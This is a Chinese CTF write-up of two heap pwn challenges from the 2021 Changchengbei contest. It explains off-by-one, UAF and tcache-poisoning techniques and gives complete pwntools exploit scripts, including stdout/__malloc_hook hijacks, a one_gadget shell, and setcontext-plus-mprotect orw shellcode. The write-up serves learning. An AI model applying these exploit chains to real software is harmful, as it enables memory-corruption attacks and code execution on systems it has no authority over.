2021长城杯PWN

前言

这次一共三题pwn,两题其实都是比较常见的堆题,可惜只做出了一题,还有一题堆上的orw在比赛前没能出 。不过总的来说:比之前还是进步了很多,加油

K1ng_in_h3Ap_I

image-20210921161053043

毫无疑问的64位,保护全开

程序一共有着三个功能以及一个好心送我们的三字节libc地址

image-20210921161202941

输入666会打印出后三字节地址

申请堆块没有特殊的,只是不能申请大于0xF0的堆块

image-20210921161426698

写入功能存在着offbyone,还要注意的就是交互要输入’\n’才能结束,否则就要输入完所有长度数据

image-20210921161337239

释放功能存在UAF

所以我的思路是借着offbyone生成unsorted chunk,得到libc地址,然后再将他分为一块大小为为0x70的fast chunk,借用UAF对着libc后三位进行覆盖,覆盖成stdout的地址,将堆块分配到stdout上,吐出libc地址。然后故技重施,再分配到__malloc_hook上,但是还要借用relloc调整一下才行

看了别人的wp,对于第一次把chunk分配到stdout还有别的思路:先释放一块unsorted chunk,然后申请回来0x70大小的fast chunk,此时这块chunk上也是会残留着libc地址(正常的malloc是不会清零的),然后释放两个fast chunk进入bin链,将后进的那块,借用UAF把fd指针修改成指向有着libc地址的那个chunk,这时也能将堆块申请到stdout上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
elf = ELF('./pwn')
#context.log_level = 'debug'
p = process('./pwn')
def debug():
gdb.attach(p,"b main")

def add(idx,size):
p.sendlineafter(">> ",'1')
p.recvuntil("input index:")
p.sendline(str(idx))
p.recvuntil("input size:")
p.sendline(str(size))

def free(idx):
p.sendlineafter(">> \n",'2')
p.recvuntil("input index:")
p.sendline(str(idx))

def edit(idx,content):
p.sendlineafter(">> ",'3')
p.recvuntil("input index:")
p.sendline(str(idx))
p.recvuntil("input context:")
p.sendline(content)

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

p.sendlineafter(">> \n",'666')
p.recvuntil("0x")
addr = int(p.recv(6),16)
log.success(hex(addr))
stdout = (addr + 0x36FE10) & 0xFFFFFF
log.info("stdout==>0x%x" %stdout)
low = stdout & 0xFFFF
high = (stdout >> 16) &0xFF
log.info("low==>0x%x" %low)
log.info("high==>0x%x" %high)

add(0,0x68)
add(1,0x28)
add(2,0x68)
add(3,0x68)
edit(0,'a'*0x68 + '\xa1')
free(2)
free(1)
add(1,0x28)
edit(2,p16(low - 0x43) + p8(high))
add(2,0x68)
add(4,0x68)
payload = p8(0)*3 + p64(0)*6 + p64(0xfbad1800) + p64(0)*3 + '\x00'
edit(4,payload)
p.recv(0x40)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c5600
log.info("libc_base==>0x%x" %libc_base)
ogg = libc_base + 0x4527a
mlh = libc_base + libc.sym['__malloc_hook']
add(0,0x68)
add(1,0x28)
add(2,0x28)
add(3,0x68)
add(4,0x68)
p.sendlineafter(">> ",'2')
p.recvuntil("input index:")
p.sendline(str(3))
edit(1,'a'*0x28 + '\xa1')
free(2)
add(2,0x28)
edit(3,p64(mlh - 0x23))
add(3,0x68)
add(5,0x68)
realloc = libc_base + libc.sym['__libc_realloc']
log.info("__libc_realloc==>0x%x" %realloc)
payload = p8(0)*3 + p64(0) + p64(ogg) + p64(realloc+16)
edit(5,payload)
add(6,0x20)
p.interactive()

K1ng_in_h3Ap_II

来源:https://blog.csdn.net/eeeeeight/article/details/120386415

image-20210921163803827

常规checksec,64位保护全开。在程序上跟上题是差不多的,少了666的地址泄露以及offbyone漏洞,但是多了打印功能,以及libc版本提升至2.27,至于2.27,就是标志性的tcache bin

image-20210922131449936

然后申请的size只能是在0x10~0x60

image-20210922132037509

UAF依然存在

image-20210922132136392

image-20210922132215898

多了一层沙箱,看到这个基本都是orw的思路:借用setcontext + 53上的gadgets,调用mprotect使得堆可执行,然后执行布置在堆上的rop链,读取flag

image-20210922132710147

申请0x50的堆块是因为链上没有0x60的空闲堆块,所以申请出来的堆块是在最底下的(与top chunk相近的)并且两块是连续的,好算偏移

image-20210922133019126

image-20210922133236908

然后先后释放,借用UAF泄露出堆上地址,进而计算tcache地址

image-20210922162651147

然后把我们之后要申请用到的堆块的count数量改为2,以及把unsorted chunk的count全部一次性改为7,为后续释放unsorted chunk进入bin链泄露libc基址做工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#修改tcache bin
add(0,0x50)
add(1,0x50)
add(2,0x20)
add(3,0x60)
free(0)
free(1)
show(1)
leak_heap=u64(p.recv(6).ljust(8, '\x00'))
log.success('leak heap: '+hex(leak_heap))
next_heap=leak_heap + 0xc0
tc_addr=leak_heap - 0xf60
log.success('tc addr: '+hex(tc_addr))
free(3)
edit(3, p64(tc_addr))
add(4, 0x60)
add(5, 0x60)
payload = p64(0x200000002) + p64(0) + p64(0x0707070707070707)*6

image-20210922162838313

修改之前释放堆块的fd指针指向0x20堆块,而前面也修改了0x60堆块的count数量为2,所以可以申请,造成overlap,之后修改0x20堆块的size,申请0x30的堆块,(原因是这个大小的堆块是不存在空闲的堆块,所以可以全部相邻在一起,方便操作)。把底下的堆块都包含在内,记得要留一个防止与top chunk进行合并

image-20210922163245528

image-20210922163344836

然后释放得到libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#泄露libc基址
edit(5, payload)
edit(1, p64(next_heap))
add(0, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(6,0x50)
add(7,0x50)
payload = p64(0)*5 + p64(0x141)
edit(7, payload)
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3ebca0
log.success('libc base: '+ hex(libc_base))

image-20210922165259157

往free_hook里面写入setcontext+53的地址

然后根据setcontext+53上的寄存器布置环境:而rdi的值是我们等下要释放的堆块的地址,根据这个计算出偏移,在对应的地址为rdi,rsi,rdx设置参数,然后设置rcx的值为mprotect的地址,去执行mprotect,再跳转回来执行shellcode读取flag

image-20210922170913920

成功读取flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
add(8, 0x50)
add(9, 0x50)
add(10, 0x50)
add(11, 0x10)
free(11)
edit(11, p64(free_hook))
add(11, 0x10)
add(11, 0x10) #free_hook
edit(11, p64(setcontext))
shellcode_addr = tc_addr + 0x1110
shellcode = asm(
'''
mov rsi, 0x67616c662f2e
push rsi
mov rdi, rsp
mov rax, 2
xor rsi, rsi
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, 1
mov rdi, 1
syscall
''')
payload = p64(0)*5*2
edit(8, payload)
payload = p64(0) + p64(tc_addr-0x10) + p64(0x10000) + p64(0) + p64(0) + p64(0x7)
payload += p64(0) + p64(0) + p64(shellcode_addr) + p64(mprotect)
edit(9, payload)
payload = p64(shellcode_addr + 8) + shellcode
edit(10, payload)
free(8)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF("./pwn")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
#libc = ELF("./libc.so.6")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
#p = remote("47.104.175.110",61608)
def debug():
gdb.attach(p,"b main")

def add(idx,size):
p.sendlineafter(">> \n",'1')
p.recvuntil("input index:\n")
p.sendline(str(idx))
p.recvuntil("input size:\n")
p.sendline(str(size))

def edit(idx,content):
p.sendlineafter(">> \n",'3')
p.recvuntil("input index:\n")
p.sendline(str(idx))
p.recvuntil("input context:\n")
p.send(content)

def show(idx):
p.sendlineafter(">> \n",'4')
p.recvuntil("input index:\n")
p.sendline(str(idx))

def free(idx):
p.sendlineafter(">> \n",'2')
p.recvuntil("input index:\n")
p.sendline(str(idx))

add(0, 0x50)
add(1, 0x50)
add(2, 0x20)
add(3, 0x60)
free(0)
free(1)
show(1)
leak_heap = u64(p.recv(6).ljust(8, '\x00'))
log.success('leak heap: '+ hex(leak_heap))
next_heap = leak_heap + 0xc0
tc_addr = leak_heap - 0xf60
log.success('tc addr: '+ hex(tc_addr))
free(3)
edit(3, p64(tc_addr))
add(4, 0x60)
add(5, 0x60)
payload = p64(0x200000002) + p64(0) + p64(0x0707070707070707)*6
edit(5, payload)

edit(1, p64(next_heap))
add(0, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(1, 0x30)
add(6,0x50)
add(7,0x50)
payload = p64(0)*5 + p64(0x141)
edit(7, payload)
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3ebca0
log.success('libc base: '+ hex(libc_base))
setcontext = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
mprotect = libc_base+libc.sym['mprotect']

add(8, 0x50) #control regs
add(9, 0x50) #control regs
add(10, 0x50) #shellcode
add(11, 0x10)
free(11)
edit(11, p64(free_hook))
add(11, 0x10)
add(11, 0x10) #free_hook
edit(11, p64(setcontext))
shellcode_addr = tc_addr + 0x1110
shellcode = asm(
'''
mov rsi, 0x67616c662f2e
push rsi
mov rdi, rsp
mov rax, 2
xor rsi, rsi
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, 1
mov rdi, 1
syscall
''')
payload = p64(0)*5*2
edit(8, payload)
payload = p64(0) + p64(tc_addr-0x10) + p64(0x10000) + p64(0) + p64(0) + p64(0x7)
payload += p64(0) + p64(0) + p64(shellcode_addr) + p64(mprotect)
edit(9, payload)
payload = p64(shellcode_addr + 8) + shellcode
edit(10, payload)
free(8)

p.interactive()

easy_vm

以后学到了,再回来复现(可能是近期 吧,近期决定爆肝学习,希望能)

查看评论